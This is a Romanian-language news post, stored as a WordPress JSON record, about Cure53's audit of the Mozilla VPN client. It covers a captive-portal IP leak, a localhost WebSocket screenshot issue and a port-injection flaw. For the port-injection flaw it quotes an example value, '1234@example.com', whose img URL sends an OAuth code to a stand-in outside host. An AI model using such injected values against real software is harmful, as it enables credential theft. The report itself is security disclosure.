{"id":101183,"date":"2021-09-03T10:22:53","date_gmt":"2021-09-03T08:22:53","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/opublikovany-rezultaty-audita-vpn-klienta-mozilla"},"modified":"2021-09-03T10:22:53","modified_gmt":"2021-09-03T08:22:53","slug":"opublikovany-rezultaty-audita-vpn-klienta-mozilla","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","title":{"rendered":"Rezultatele auditului clientului VPN Mozilla au fost publicate","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Compania Mozilla a anun\u021bat finalizarea unui audit independent al aplica\u021biei client pentru conectarea la serviciul Mozilla VPN. Auditul a inclus o analiz\u0103 a aplica\u021biei client separate, dezvoltat\u0103 folosind biblioteca Qt \u0219i disponibil\u0103 pentru Linux, macOS, Windows, Android \u0219i iOS. Serviciul Mozilla VPN este suportat de peste 400 de servere ale furnizorului de VPN suedez Mullvad, amplasate \u00een mai mult de 30 de \u021b\u0103ri. Conectarea la VPN<\/a>-serviciu se realizeaz\u0103 prin protocolul WireGuard. <\/p>\n

Audit realizat de compania Cure53, care anterior a efectuat audituri pentru proiectele NTPsec, SecureDrop, Cryptocat, F-Droid \u0219i Dovecot. Auditul a inclus verificarea codului surs\u0103 \u0219i desf\u0103\u0219urarea de teste pentru a identifica posibilele vulnerabilit\u0103\u021bi (aspectele legate de criptografie nu au fost analizate). \u00cen cadrul verific\u0103rii au fost identificate 16 probleme de securitate, dintre care 8 au fost considerate recomand\u0103ri, 5 au fost clasificate cu un nivel sc\u0103zut de pericol, dou\u0103 cu nivel mediu, iar una cu nivel ridicat. <\/p>\n

Totu\u0219i, doar o problem\u0103 cu nivel mediu de pericol a fost clasificat\u0103 ca vulnerabilitate, deoarece doar aceasta era exploatabil\u0103. Problema respectiv\u0103 duce la scurgerea informa\u021biilor despre utilizarea VPN-ului \u00een codul de determinare a portalului captive din cauza trimiterea de cereri directe necriptate prin HTTP, transmise \u00een afara tunelului VPN \u0219i care dezv\u0103luie adresa IP principal\u0103 a utilizatorului \u00een cazul \u00een care atacatorul poate controla traficul de tranzit. Problema se rezolv\u0103 prin dezactivarea modului de determinare a portalului captive din set\u0103ri. <\/p>\n

A doua problem\u0103 de nivel mediu de pericol este legat\u0103 de lipsa cur\u0103\u021b\u0103rii adecvate a valorilor non-numerice din num\u0103rul de port, ceea ce permite organizarea unei scurgeri a parametrilor de autentificare OAuth prin înlocuirea num\u0103rului de port cu un \u0219ir de forma „1234@example.com”, ceea ce va duce la instalarea unei etichete <img src="»http:\/\/127.0.0.1:1234@example.com\/?code=…»" alt="»»">, care se refer\u0103 la example.com în loc de 127.0.0.1. <\/p>\n

A treia problem\u0103, marcat\u0103 ca periculoas\u0103, permite oric\u0103rei aplica\u021bii locale, f\u0103r\u0103 autentificare, s\u0103 acceseze clientul VPN prin WebSocket, legat de localhost. Ca exemplu, a fost demonstrat cum, cu clientul VPN activ, orice site ar putea organiza crearea \u0219i trimiterea unei capturi de ecran prin generarea unui eveniment screen_capture. Problema nu a fost clasificat\u0103 ca vulnerabilitate, deoarece WebSocket a fost folosit doar \u00een versiuni interne de testare, iar utilizarea acestui canal de comunicare era planificat\u0103 pentru viitor pentru a organiza interac\u021biunea cu extensia browserului.
\n
Sursa: opennet.ro<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN. \u0412 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u044b\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0431\u043e\u0441\u043e\u0431\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Qt \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f Linux, macOS, Windows, Android \u0438 iOS. \u0420\u0430\u0431\u043e\u0442\u0443 Mozilla VPN \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0448\u0432\u0435\u0434\u0441\u043a\u043e\u0433\u043e VPN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 Mullvad, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0445 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 30 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-101183","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47S-au publicat rezultatele auditului clientului VPN Mozilla | ProHoster","description":"Compania Mozilla a anun\u021bat finalizarea unui audit independent al aplica\u021biei client pentru conectarea la serviciul Mozilla VPN.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0430\u0443\u0434\u0438\u0442\u0430 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 Mozilla | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN.","og:url":"https:\/\/prohoster.info\/ro\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-09-03T08:22:53+00:00","article:modified_time":"2021-09-03T08:22:53+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"101183","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-09-03 08:33:23","updated":"2026-02-04 14:42:04","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/101183","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/comments?post=101183"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/101183\/revisions"}],"predecessor-version":[{"id":156742,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/101183\/revisions\/156742"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media?parent=101183"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/categories?post=101183"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/tags?post=101183"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}